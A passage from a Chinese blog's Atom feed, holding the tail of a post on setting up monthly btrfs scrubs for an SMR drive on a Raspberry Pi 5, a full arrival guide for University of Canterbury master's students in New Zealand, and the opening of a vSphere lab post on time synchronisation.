的全数据校验和只在读取时验证，而归档数据的常态是写入后多年不再读取，静默腐坏可能一直潜伏到真正需要那个文件时才暴露。scrub 主动将已用空间完整读取一遍，逐块比对校验和，把被动的&quot;读到才发现&quot;变成主动的定期巡检。单盘没有冗余副本，scrub 无法修复损坏的数据，但会在内核日志中给出损坏文件的具体路径，趁源数据还在手里重新拷贝一份即可。只有发现得早，这个补救手段才成立。</p><p>两个文件加一条命令。</p><p><code>/etc/systemd/system/btrfs-scrub-hc620.service</code>：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[Unit]</span></span><br><span class="line"><span class="attr">Description</span>=Monthly btrfs scrub <span class="literal">on</span> HC620</span><br><span class="line"><span class="attr">ConditionPathIsMountPoint</span>=/mnt/hc620</span><br><span class="line"></span><br><span class="line"><span class="section">[Service]</span></span><br><span class="line"><span class="attr">Type</span>=<span class="literal">on</span>eshot</span><br><span class="line"><span class="attr">ExecStart</span>=/usr/bin/btrfs scrub start -B /mnt/hc620</span><br></pre></td></tr></table></figure><p><code>/etc/systemd/system/btrfs-scrub-hc620.timer</code>：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[Unit]</span></span><br><span class="line"><span class="attr">Description</span>=Monthly btrfs scrub timer for HC620</span><br><span class="line"></span><br><span class="line"><span class="section">[Timer]</span></span><br><span class="line"><span class="attr">OnCalendar</span>=monthly</span><br><span class="line"><span class="attr">Persistent</span>=<span class="literal">true</span></span><br><span class="line"><span class="attr">RandomizedDelaySec</span>=<span class="number">1</span>h</span><br><span class="line"></span><br><span class="line"><span class="section">[Install]</span></span><br><span class="line"><span class="attr">WantedBy</span>=timers.target</span><br></pre></td></tr></table></figure><p>启用：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now btrfs-scrub-hc620.timer</span><br><span class="line">systemctl list-timers btrfs-scrub-hc620.timer   <span class="comment"># 确认下次触发时间</span></span><br></pre></td></tr></table></figure><p>几个参数各有用途。<code>-B</code> 让 scrub 在前台运行，service 的退出状态才等于巡检结果，用 <code>systemctl status btrfs-scrub-hc620.service</code> 即可确认上次巡检是否发现错误。<code>ConditionPathIsMountPoint</code> 在盘未挂载时静默跳过，与附录 C 挂载参数里的 <code>nofail</code> 配套，盘不在位时系统不会报错。<code>Persistent=true</code> 用于补跑关机期间错过的计划，<code>RandomizedDelaySec</code> 把触发时间错开整点，避免集中负载。</p><p>查看结果：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> btrfs scrub status /mnt/hc620   <span class="comment"># 上次进度、耗时、错误计数</span></span><br><span class="line"><span class="built_in">sudo</span> dmesg | grep -i <span class="string">&quot;checksum error&quot;</span>   <span class="comment"># 有错误时含具体文件路径</span></span><br></pre></td></tr></table></figure><p>耗时量级：scrub 顺序读取全部已用空间，按本盘外圈两百余、内圈一百余 MB/s 的读速估算，每 1TB 数据约需一小时出头，写满后全盘一轮需要十几到二十小时，这是巡检频率定为每月而非每周的原因。巡检期间盘保持正常可用，读性能会被分走一部分。</p>]]>
    </content>
    <id>https://www.catwhiteangel.com/hc620-hm-smr-raspberry-pi-5/</id>
    <link href="https://www.catwhiteangel.com/hc620-hm-smr-raspberry-pi-5/"/>
    <published>2026-07-16T08:01:00.000Z</published>
    <summary>西数 Ultrastar DC HC620 是主机管理式 SMR（HM-SMR）硬盘，在 Windows 或未启用 zoned 块设备支持的 Linux 内核中无法正常作为块设备使用，二手价因此便宜到离谱。本文分析 HM-SMR 的原理与限制，并用树莓派 5 加 PCIe 转 SATA 扩展板把它完整跑起来：系统选择、内核支持验证、zone 勘察，以及 dm-zoned、btrfs zoned、f2fs 三种文件系统方案的实测对比。</summary>
    <title>Ultrastar DC HC620 分析与实战——树莓派 5 驱动主机管理式 SMR 硬盘</title>
    <updated>2026-07-16T08:01:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Study Notes" scheme="https://www.catwhiteangel.com/categories/Study-Notes/"/>
    <category term="University of Canterbury" scheme="https://www.catwhiteangel.com/tags/University-of-Canterbury/"/>
    <content>
      <![CDATA[<h1>从下签到开课——UC 授课硕士留学生落地全流程</h1><div class="note warning flat"><p><strong>免责声明</strong>：本文是个人经历与公开信息的整理，不构成任何移民、法律或财务建议。签证与入境政策、学校流程和各类收费随时可能调整，写作时准确的信息不保证在你阅读时依然有效，一切以 Immigration New Zealand 与 University of Canterbury 的官方发布为准；涉及签证的重要决定，请咨询持牌移民顾问（Licensed Immigration Adviser）。</p></div><p>拿到学生签证只是流程的中点。从下签到真正坐进教室，中间还隔着注册、保险、入境申报、开户、选课确认一整串环节，而且它们之间有先后依赖——顺序错了不至于出大事，但会白白浪费落地后最忙的第一周。本文按时间线把这段路走一遍，以 University of Canterbury（下称 UC）和基督城为准，其他学校的读者流程框架类似，但具体日期和系统名称请以自己学校为准。</p><p>本文假设你已经拿到 UC 授课硕士的 offer of place 并且学生签证已获批。如果你的项目需要先读一年 COP（Certificate of Proficiency）再衔接授课硕士，前面的入境和落地部分通用，文末有衔接专节。</p><span id="more"></span><h2 id="1-下签之后、出发之前">1 下签之后、出发之前</h2><p>这个阶段通常有四到八周的窗口，事情不多，但有两件必须在出发前完成，拖到落地后处理会麻烦得多。</p><h3 id="先把-eVisa-逐字核对一遍">先把 eVisa 逐字核对一遍</h3><p>签证获批后收到的 eVisa 信函不要只看&quot;approved&quot;就存档。逐项核对以下内容：</p><ul><li><strong>姓名与护照号</strong>：是否与你将用于入境的护照完全一致。如果你在签证获批后换发了新护照，必须在出发前申请将签证转移到新护照上，不能直接带两本护照走。</li><li><strong>就读院校与课程</strong>：学生签证绑定具体的院校和课程等级。确认写的是你实际要读的硕士课程，而不是之前申请过的其他课程。</li><li><strong>打工条件</strong>：是否可打工、每周上限多少，以 eVisa 条件栏为准。按 INZ 现行规则（2025 年 11 月 3 日生效），符合条件的全日制学生在学期内每周最多可工作 25 小时，符合条件的假期可全职；在此之前签发的旧签证若条件栏仍写 20 小时，想按 25 小时工作需申请 Variation of Conditions（费用 NZD 325）或换新签证。另外注意打工许可不是所有学签的默认待遇——COP 等非学位课程的学签可能不附带，一切以你签证上的条件栏为准。</li><li><strong>首次入境截止日期</strong>：签证上会写明你必须在某个日期前入境。这个日期同时也是后面申请 IRD 号码时能否走 new arrival 快速申请通道的分界线，第三部分会讲。</li></ul><p><strong>发现任何错误，立即联系 Immigration New Zealand 更正。</strong></p><h3 id="完成-UC-的注册流程——大部分在出发前就能做完">完成 UC 的注册流程——大部分在出发前就能做完</h3><p>到你下签这个阶段，注册流程的第一阶段早已经完成了（接受 offer），剩下的步骤是：</p><ol><li><strong>在 myUC 里确认选课并等待批准</strong>。注意学生签证要求你保持全日制（full-time）注册，选课学分不能低于全日制门槛。具体选哪些课因专业和个人规划差异很大，本文不展开。</li><li><strong>选课全部批准后，预约 Enrolment in Person</strong>。首次入读 UC 的新生需要到校内 Te Pātaka（Puaka-James Hight，就是中央图书馆那栋楼）现场完成最后一步：出示护照和签证打印件，接受 Enrolment Agreement，结清未付费用。这一步做完才算正式完成注册。提前在线预约时段，开学前几天是高峰。已经在 UC 读过书、护照核验过的学生不需要再跑现场，改为按学校邮件通知的方式远程完成——具体流程见文末衔接专节。</li></ol><p>选课也不必在这一步就完全定死。S1 和 S2 课程在正式开课日之后仍有约两周的全额退费加退课窗口（2026 年 S1 的截止日是 3 月 1 日），这两周你可以实际去听课再调整。真正不可逆的日期在后面：过了退费截止还能退课但不退钱，到了学期约 75% 进度的 academic withdrawal deadline（2026 年 S1 是 5 月 10 日）之后再退，成绩就会记入成绩单并计入 GPA——唯一的例外是因不可控的特殊情况无法完成课程时，可在考试期结束后五个工作日内申请 Late Discontinuation 特殊考量，获批可从成绩单移除该课程，但不退费。这三个日期的优先级，比课表上任何一个日期都高。</p><h3 id="保险：默认-Studentsafe，不需要额外操作">保险：默认 Studentsafe，不需要额外操作</h3><p>UC 要求所有在校国际学生持有合规的医疗与旅行保险，Immigration New Zealand 同样要求保险覆盖到签证到期日为止——注意是签证到期日，不是课程结束日，续签时保险也要相应续。</p><p>默认情况下你不需要为此做任何事：完成注册时会自动登记 Allianz Partners 承保的 Studentsafe Inbound University 保单，保费直接加进学费账单。这个默认方案有一个容易被忽略的实用福利：首次来新西兰就读时，保障从开课日前最多 31 天起自动生效，只要行程落在这个窗口内，赴新的旅途和提前落地安顿的那段时间就都在保障范围内，即使保费要到 Enrolment in Person 时才实际缴纳。</p><p>理论上也可以改用通过 UC 评估的替代保险，本文不展开。有需要的读者请直接查阅官方页面的要求与预批清单：<a href="https://www.canterbury.ac.nz/study/getting-started/study-and-living-costs/insurance-for-international-students">Insurance for international students</a>。</p><h3 id="住宿">住宿</h3><p>留学生落地前实际可选的住宿方案没有想象中多，决策框架其实很简单：<strong>校外租房通常要求实地看房、当面签约，落地前基本敲不定</strong>，所以出发前能远程确定的现实选项就是学校宿舍。第一学期求稳的话，这也是最省心的路径：住宿合同和签证、注册流程互不阻塞，也天然解决了后面开户时的地址证明问题。想省钱走校外租房的，现实做法是先订几周临时住宿，落地后再看房。（如果你在新西兰有认识的朋友可以帮忙那或许可行，该情况不在本文讨论范围内。）</p><p>我自己住的是 UniLodge 运营的 Sonoda，格局供参考：一幢楼两层，每层 10 间房，每层再用门禁隔成左右各 5 间的单元，5 人共用厨房、浴室和厕所；一楼有洗衣机和烘干机各一台。步行到学校约 20 分钟，整体安静，派对不多。一个和第三部分直接相关的实用细节：<strong>住户 portal 网页里可以直接下载地址证明</strong>，开户材料就此解决。校外合租的地址证明怎么开我没有经历过，请读者自行研究。</p><div class="note warning flat"><p>骑车通勤的话：<strong>自行车一定要锁好，购车和配件的收据全部留存</strong>。Sonoda 有一间专门停自行车的小屋。万一被偷，去 <a href="https://www.police.govt.nz/use-105">105 Police Non-Emergency Online Reporting</a> 在线报案拿回执，凭回执和收据向保险索赔。</p></div><p>各类住宿的介绍与申请入口见官方页面：<a href="https://www.canterbury.ac.nz/life/accommodation">UC 住宿总览</a>、<a href="https://www.canterbury.ac.nz/life/accommodation/international-student-accommodation/accommodation-for-study-abroad-students">国际学生住宿选项</a>。</p><h3 id="行李">行李</h3><p>带什么因人而异，本文不替你列清单，但有一条警告必须提前说：新西兰的生物安全（biosecurity）检查是全球最严格的一档，食品、动植物制品、药品、用过的户外装备都属于需要申报的风险物品，未申报的后果在下一部分详述。装箱之前，用 MPI 的官方查询工具逐项确认你想带的东西能不能入境：<a href="https://www.mpi.govt.nz/bring-send-to-nz/bringing-and-posting-items-to-nz/how-to-declare-items-when-arriving-in-nz">Check if you can bring or send an item to NZ</a>，海关侧的申报规则（现金、免税额度、药品）见 <a href="https://www.customs.govt.nz/personal/travel-to-and-from-nz/travelling-to-new-zealand/on-your-arrival/">On your arrival</a>。</p><h2 id="2-入境当天">2 入境当天</h2><h3 id="NZTD：起飞前-24-小时内完成">NZTD：起飞前 24 小时内完成</h3><p>所有旅客入境前都必须完成 NZ Traveller Declaration（NZTD，新西兰旅客申报），它取代了过去默认人手一张的纸质入境卡，在官网 <a href="https://www.travellerdeclaration.govt.nz/">travellerdeclaration.govt.nz</a> 或 NZTD App 上填写，免费，约十分钟。无法在线填写的旅客抵达时仍可改填纸质申报表，但正常情况下没有理由选它——电子申报可以反复修改，纸质表不行。表格界面有中文，但<strong>答案必须用英文填写</strong>。</p><p>提交时间规则值得注意，因为它和你的航线有关：</p><ul><li>最早可在启程前 24 小时提交</li><li>如果是多段航班<strong>不出机场的长途联程</strong>（例如上海—新加坡—基督城，行李直挂、人不出关），按第一段起飞时间算，即可在离开上海前 24 小时内提交</li><li>如果中途<strong>有停留</strong>（出机场、提取行李），则要等到从中转地起飞前 24 小时才能提交</li></ul><p>提交后会收到邮件确认，官方不要求打印任何材料，确认邮件和 reference number 留在手机里随时能打开即可。落地过护照检查时，eGate 扫描护照会自动关联你的申报。提交后如果想起有东西没申报，可以用 reference number 修改并重新提交，截止点是过护照检查之前。也就是说，在飞机上或落地排队时想起箱子里那包忘了的零食，掏出手机改申报还来得及，这是这套电子系统比纸质表实用的地方。</p><h3 id="申报的判断原则：这是严格责任，-忘了-也罚">申报的判断原则：这是严格责任，&quot;忘了&quot;也罚</h3><div class="note danger flat"><p>新西兰生物安全申报是严格责任（strict liability）制度：<strong>未申报风险物品，无论是否故意，当场开出 NZD 400 的罚单</strong>，性质类似超速罚单，不留刑事记录但立即生效。故意走私风险物品则是另一回事，最高可罚 10 万纽币并处五年监禁。</p></div><p>另外值得知道的是收紧的方向已经明确：内阁于 2025 年 10 月批准了生物安全法修订方案，未申报罚款将改为两档：新鲜水果、肉类等高风险物品罚 800 纽币，其他物品维持 400 纽币；截至本文写作时相关法案尚未完成立法（官方预期 2026 年内推进），罚款生效前仍按现行 400 纽币执行，但这条线只会越来越严。</p><p>具体哪些物品属于风险物品、哪些完全禁止入境，口径比多数人想象的宽，而且规则会更新，本文不做转述，请以 MPI 官方查询工具为准：<a href="https://www.mpi.govt.nz/bring-send-to-nz/bringing-and-posting-items-to-nz/how-to-declare-items-when-arriving-in-nz">Check if you can bring or send an item to NZ</a>。</p><p>判断原则只有一条：<strong>不确定，就申报。</strong> 申报本身不收费、不罚款，最坏的结果是物品被扣下销毁；而不申报被查出，就是 400 纽币起步。机场入境通道设有 amnesty bin（弃置箱），过检前把拿不准的东西扔进去也完全来得及，不会有任何后果。</p><p>同样值得提前知道的是：申报了物品之后，你会被引导到检查通道，检疫官开箱、提问、也可能让检疫犬闻你的包，<strong>这是正常流程</strong>。如实回答提问即可，检疫官的提问本身也构成申报的一部分，含糊其辞在后续开箱查出东西时同样会被罚。多数申报的物品看一眼就放行了。</p><h2 id="3-落地第一周：按依赖顺序办事，别来回跑">3 落地第一周：按依赖顺序办事，别来回跑</h2><p>这一周要办的事其实不多，麻烦在于它们互相依赖：开银行账户需要新西兰手机号，申请 IRD 号码需要功能完整的银行账户，而几乎所有线上服务都要手机验证码。理清依赖之后顺序就唯一了：<strong>手机卡 → 银行账户 → IRD 号码</strong>，Metrocard 独立于这条链，顺路就办。</p><h3 id="手机卡：落地第一件事">手机卡：落地第一件事</h3><p>三大运营商是 One NZ、Spark、2degrees，此外还有走性价比路线的虚拟运营商（如 Skinny，用 Spark 的网络）。基督城机场解决这件事非常快：以我落地时的经历，出廊桥转弯就能看到卖 Spark 预付卡的摊位，当场买卡换卡，走出机场前就有网了。机场套餐通常不是最优选择，但这不重要——先随便办一张便宜的预付卡把号码占上，换套餐、携号转网之后都容易，没有本地号码则寸步难行，后面每一步都卡。</p><p>具体资费和套餐对比一年一变，本文不列数字，请读者们自行权衡。</p><h3 id="从机场到住处">从机场到住处</h3><p>一种做法是<strong>出发前就注册好 Uber 并绑好信用卡，落地拿完行李直接叫车</strong>。机场到 Ilam 校区不远，开车 10 分钟。当年我作为新生还收到过行前邮件、可以免费预约 NZ Look Shuttles 送到学校寝室，一辆面包车，同目的地的学生拼车走，后面放行李的空间很大；这家至今仍是 UC 的指定接机供应商（需至少提前 48 小时预约，司机会在到达区举&quot;UNIVERSITY OF CANTERBURY&quot;的牌子）。注意它面向 UC 学生的免费预约页面并不在其官网的公开导航里，入口通常是 UC Study Abroad 的行前邮件直接附上的链接，所以这件事的正确姿势就是等邮件、看邮件：有免费预约就用，只给了付费链接就自行权衡（按到达时段分档计价，以预约页面为准 <a href="https://nzlookshuttles.co.nz/uc-booking-form/">uc-booking-form</a>），什么都没收到也不必惦记。预算优先的话，3 路公交巴士从机场可直达 Ilam 一带，但注意并非每班 3 路都进机场，进机场的班次约每 30 分钟一班（回程去机场时要认准目的地牌写&quot;Airport&quot;的车），且机场买不到 Metrocard，上车刷 contactless 银行卡或备现金。不过两个大箱子挤公交本来也不现实。</p><h3 id="银行开户：可以在国内就发起">银行开户：可以在国内就发起</h3><p>主要银行 ANZ、ASB、BNZ、Westpac、Kiwibank 对留学生的日常功能（转账、借记卡、手机银行）差别不大，选网点顺路的即可。多数银行要求签证剩余有效期在六个月以上。</p><p>值得知道的是这件事不必等落地：以我实际走过的 ANZ 流程为例，出发前就可以按官网 <a href="https://www.anz.co.nz/personal/moving-to-new-zealand/">Moving to New Zealand</a> 页面在线提交申请（要求 90 天内抵达、持有效签证），账户建立后可以先往里存钱但不能取；落地后带护照和签证找任意网点走进去更新个人资料、完成身份核验，账户当场激活，很快就办完。网点可以当场发临时卡应急，我没要，直接等的正式卡邮寄，反正激活当天手机银行就能用。一个国内申请阶段的注意点：可能被要求提供资金来源证明，由父母出具一封 Financial Sponsor Letter 并附上父母的银行流水即可过关，流水的翻译件记得找认证翻译。</p><p>各银行的抵达前开户政策差异很大，而且会变：ANZ 明确面向 90 天内抵达的有效签证持有者开放在线申请；ASB 也有面向符合条件客户的境外申请流程，但资格范围、身份认证方式和激活步骤以其官网申请页面与银行邮件为准。总之出发前查一遍目标银行官网的现行说法，既不要默认必须落地后才能办，也不要默认每家都能提前办。另外，以我的经历，ASB 作为第二张卡可以完全线上申请办下来（作为第一张卡能否纯线上，我没有验证过）。</p><p>落地后从零开户也可以，材料方面除了护照、签证和新西兰手机号，还有地址证明（proof of address），以及按 CRS 规则申报你在其他国家的税务居民身份和税号——中国税务居民的个人税号（TIN）就是身份证号，不需要额外申请什么。</p><p>IRD 号码不是开户的前置条件，可以开户后再补登。</p><h3 id="IRD-号码：不打工不着急，但优先走-new-arrival-通道">IRD 号码：不打工不着急，但优先走 new arrival 通道</h3><p>IRD 号码（税号）什么时候真正需要：合法打工必须有，银行存款利息的扣税也用它。不打算打工的话这件事不紧急，但申请路径的选择有讲究：<strong>趁签证旅行条件允许入境的期限未过，走 new arrival 在线通道</strong>。这条通道的优势是你授权 Immigration New Zealand 直接向税务局共享你的身份材料，免去重复提交证件。学签持有者申请时需要：护照信息、INZ 的申请编号（application number）、海外税号（如有，中国税务居民的个人税号就是身份证号），以及一个功能完整的新西兰银行账户（或由新西兰报告实体出具的 CDD 表，实践中还是得先有银行）——这就是银行排在 IRD 前面的原因。</p><p>这条通道的截止日是签证上标注的&quot;必须入境的最后日期&quot;。不同签证对这个日期的措辞不一样：有的写明首次入境截止日，有的写成&quot;最后可入境/再入境日期&quot;且直接等于签证到期日——后一种情况窗口很宽，但不要凭印象赌，对照自己 eVisa 上的旅行条件确认。错过这个日期就只能按&quot;居住在新西兰&quot;的常规流程申请，材料要求繁琐得多。</p><p>申请免费，获批后短信或邮件通知是 2 天，邮寄则最长 10 天。拿到号码后记得回银行的手机银行里补登，否则利息会按最高档的非申报税率代扣。</p><h3 id="Metrocard-与公交：旧攻略里的学生价已经不存在了">Metrocard 与公交：旧攻略里的学生价已经不存在了</h3><p>基督城公交由 Metro 运营，付费方式是 Metrocard 或直接刷银行卡/手机（contactless），现金最贵且没有优惠。办卡和充值不必专门跑市中心 Bus Interchange 的 Metroinfo 柜台——<strong>校内 UCSA 前台（Haere-roa）办公时间内就能买卡和充值</strong>，对住校学生顺路得多。</p><div class="note info flat"><p><strong>Metro 的 tertiary 大学生优惠票已于 2025 年 7 月取消</strong>，网上大量旧攻略里&quot;学生 $1 一程&quot;的说法已经失效。</p></div><p>现行优惠按年龄划分：19–24 岁适用 Youth fare，公交 $2.50 一程，办卡时登记出生日期即可自动生效，乘车时可能被要求出示带出生日期的证件。注意各类优惠票价只在登记过的 Metrocard 上生效，直接刷银行卡或手机一律按成人标准票价计费；25 岁及以上没有面向学生的优惠，走标准 Metrocard 票价，好在有每日和每周的扣费封顶，通勤族实际支出可控。</p><h2 id="4-开学注册到第一周上课">4 开学注册到第一周上课</h2><h3 id="IT-账号：第四部分所有系统的总入口">IT 账号：第四部分所有系统的总入口</h3><p>LEARN、MyTimetable、学校邮箱全都挂在 UC 的 IT 账号下面，所以它是这一部分事实上的第一步。不需要主动去申请：<strong>线下注册完成后会收到激活通知邮件</strong>（是当场就发还是隔几天我记不准了，注册完之后盯着邮箱就行），跟着邮件的指引一步步走没有任何难度，核心就是两件事：设置密码，以及绑定微软的 Microsoft Authenticator 验证器完成多因素认证。可以提前把这个 App 装到手机上，到时候少一步等待。</p><p>账号激活后第一件事是登录学校邮箱：后面所有流程的官方通知都走这条线。</p><h3 id="Canterbury-Card：一张卡管所有">Canterbury Card：一张卡管所有</h3><p>Canterbury Card 是 UC 的学生证，同时也是门禁卡、图书馆借阅卡和打印付费卡。领取地点在校内 Security，官方口径是接受 Enrolment Agreement 之后才有资格领取。时间点有个经验值：<strong>线下注册完成后约 24 小时可以去拿</strong>。有人 2 小时后就拿到了，但我那次不行，具体以现场为准；不着急的话直接等到第二天去，省得白跑。</p><h3 id="Orientation：挑着去">Orientation：挑着去</h3><p>开学前的迎新活动分几层：全校性的 Welcome Day、国际学生专场、以及各学院/专业的 induction。经验上的优先级是反过来的：<strong>院系层面的 induction 信息密度最高</strong>（课程结构、考核安排、实验室安全培训这类不去就缺课的内容），国际学生专场次之（签证、保险、支持服务的官方口径），全校性活动社交属性居多，按兴趣参加。</p><h3 id="MyTimetable：时段是抢的，别等通知">MyTimetable：时段是抢的，别等通知</h3><p>选课决定你上哪些课，但 tutorial 和 lab 的具体时段是在 MyTimetable 系统里另行分配或抢选的，热门时段先到先得。拿到 IT 账号后登进去就能看到内容，但各课程的时段信息更新有早有晚，可能你上周看还是空的、这周就已经开抢了。开学前养成时常登进去看一眼的习惯，看到自己课程的时段放出来就尽早选，晚了就只能在冲突的时段里做取舍。</p><h3 id="LEARN-与录播">LEARN 与录播</h3><ul><li><strong>LEARN</strong> 是 UC 的在线学习平台（基于 Moodle），课件、作业提交、公告都在这里，开学第一周把每门课的页面都点开看一遍，考核比重和 due date 通常都写在 course outline 里</li><li>多数课程的 lecture 有录播，但不要以此为由第一周就不去人。tutorial 和 lab 通常没有录播，且很多课程的考核细节只在课上口头讲</li></ul><p>选课调整的三个关键日期（全额退费截止、退课不退费截止、academic withdrawal deadline）第一部分已经讲过，开学第一周正处在全额退费窗口内，用好它。</p><h2 id="5-COP-衔接授课硕士">5 COP 衔接授课硕士</h2><p>如果你需要先在 UC 读了一年 COP 再升授课硕士，可参考这一节。<strong>前面几部分的事你几乎都不用重做</strong>——IRD 号码终身有效，银行账户、手机号、Metrocard 照用，宿舍续住的话连地址都不用改。真正要做的只有三件事：拿新 offer、办新签证、完成新课程的注册。但这三件事的时间线比看起来紧得多。</p><h3 id="时间线为什么紧：成绩、圣诞和签证的三方夹击">时间线为什么紧：成绩、圣诞和签证的三方夹击</h3><p>结构性的问题在于：COP 学签的到期日往往早于或紧贴 S2 成绩发布，而硕士的 offer 要等成绩出来才能发。这不是运气问题，而是 offer 文件的日期写法决定的。以我拿到的两份 offer 为例，COP 的 offer 里课程结束日期写的是 last day of examinations（一般在 11 月），签证有效期据此签发；而硕士 offer 的课程结束日期直接写到当年 12 月 31 日。同样是一学年的课，COP 的签证就是短一截，往往撑不到成绩发布和新 offer 到手。以我自己的时间线为例：</p><ul><li>我的 COP 签证 12 月中旬到期，当时 S2 成绩还没出，没有别的选择，先回国</li><li>硕士 offer 在圣诞节前几天到手</li><li>我立刻付了学费，汇款到账时恰好是 UC 圣诞放假前的最后一天，但付款回执（receipt）没人处理了，只能等 1 月复工</li><li>12 月 30 日先递交了签证申请，1 月 5 日拿到 receipt 后补件</li><li>签证在 1 月下旬获批，赶上 2 月中开学，来得及，但整个假期都悬着心</li></ul><div class="note warning flat"><p><strong>免责声明</strong>：以下内容仅为我个人经历的公开整理，不构成对于签证办理的专业建议，如有需要请咨询专业人士，每个人的情况不同，是否在材料不全的情况下直接提交签证申请请自行抉择。</p></div><p><strong>先递签，后补件。</strong> 新版 INZ 在线系统允许在材料不全时先提交申请、后续补充，补件入口在申请的 view summary 页面里的 correspondence 部分，不太好找，记下这个位置。</p><p><strong>拿到 offer 的第一时间付款。</strong> 每晚付一天，后面所有环节就整体顺延一天，而这条链的中间横着 UC 的圣诞停摆（12 月下旬到 1 月初，2026 年是 1 月 5 日复工）——停摆期间任何需要学校人工处理的事项完全静止。我到账只差一天，回执就等了近两周。</p><p><strong>回国等 offer 可能就是常态，提前接受它。</strong> 如果你的 COP 签证同样在 12 月到期，与其纠结续签，不如把回国机票、在国内办签证的材料（资金证明等）提前备好，把这段等待当作计划的一部分而不是意外。</p><p>需要说明的是，我走的是境外办新签的路径。如果你的 COP 签证有效期足够长、可以在境内递交新申请，旧签到期后会自动进入 interim visa（过渡签证），其间的学习和打工条件以 INZ 的说明为准——这条路我没有亲历，不展开。</p><h3 id="注册：老生不用再跑现场">注册：老生不用再跑现场</h3><p>第一年入学时做过的 Enrolment in Person 不需要重来。学校会主动发邮件说明续读学生的注册方式，<strong>以你收到的那封邮件为准</strong>。做法是把新的 eVisa 发到 <a href="mailto:student-visa@canterbury.ac.nz">student-visa@canterbury.ac.nz</a>，邮件主题写上 student ID number。这里有个容易误会的点：这个 student ID number 不是你平时理解的那个学号，而是 UC 的一串内部编号，通知邮件里会直接给出，照抄进邮件即可，不用自己去猜或去查。整个过程不需要你主动去催，但要盯紧邮箱——这封通知就是流程的发令枪。</p><p>保险按第一部分讲过的规则续期：覆盖到新签证的到期日。打工条件也值得重新核对一遍新签证——COP 学签未必附带打工许可，而授课硕士学签通常有，条件以新 eVisa 的条件栏为准。</p><h2 id="结语">结语</h2><p>从下签到坐进教室，这条流程走通一次就会发现，它考验的不是能力而是顺序感：什么必须在出发前办完，什么落地第一周办，什么可以慢慢来。希望这篇按依赖关系排好序的记录，能帮你把精力省下来留给真正重要的事——比如好好倒时差，以及在开学前把基督城的日落多看几次。</p><p><strong>最后，祝各位的新西兰留学之旅一切顺利。</strong></p>]]>
    </content>
    <id>https://www.catwhiteangel.com/uc-master-arrival-guide/</id>
    <link href="https://www.catwhiteangel.com/uc-master-arrival-guide/"/>
    <published>2026-07-07T03:01:00.000Z</published>
    <summary>从学生签证获批到 UC 开课的完整时间线：eVisa 核对、注册与保险、NZTD 入境申报、手机卡—银行—IRD 依赖链、Metrocard 与开学第一周，附 COP 衔接授课硕士专节。</summary>
    <title>从下签到开课——UC 授课硕士留学生落地全流程</title>
    <updated>2026-07-07T03:01:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="NTP" scheme="https://www.catwhiteangel.com/tags/NTP/"/>
    <category term="w32time" scheme="https://www.catwhiteangel.com/tags/w32time/"/>
    <category term="Active Directory" scheme="https://www.catwhiteangel.com/tags/Active-Directory/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台8——收尾：时间同步、vLCM 镜像与全系列回顾</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-03-vcenter/">平台3 · vCenter：部署与建集群</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><strong>平台8 · 收尾：时间同步、vLCM 与全系列回顾　← 本篇</strong></li></ul></div><p>身份立住之后，砚行物流这套平台只剩最后一块地基没夯实：时间。它听起来最不起眼，却在上一篇里以一种很隐蔽的方式咬过我们一口——<code>yx-dc01</code> 的 AD CS 在时钟还没同步好时签出的根证书，<code>NotBefore</code>（生效时间）落到了未来，等时间校正回来，vCenter 接 LDAPS 直接报「Certificate is not valid」。那其实不是证书的错，是时间的错。这一篇就把时间这件事正经做完：把整套时间层级理顺到 AD 域控上，收回当初在网络篇为管理网主机访问 OPNsense NTP 开的那条放行规则；再补讲一直推迟到收尾才讲的 vLCM 镜像；最后对这套从物理规划一路走到身份与时间的平台，做一次整体回顾和「实验 vs 生产」的总差距清单。这是本系列的最后一篇。</p><span id="more"></span><h2 id="1-为什么时间是最后一块地基">1 为什么时间是最后一块地基</h2><p>时间在虚拟化平台里是「隐形的依赖」：平时没人注意，一旦漂了，故障会以各种看不出和时间有关的样子冒出来。上一篇那颗证书的雷是一个例子——表面是证书错误，根子是签发时钟不对。类似的还有很多：Kerberos 认证默认只容忍 5 分钟的时钟偏差，超了域登录就失败；vSAN 对各主机间的时间一致性敏感；vCenter 的 Skyline Health 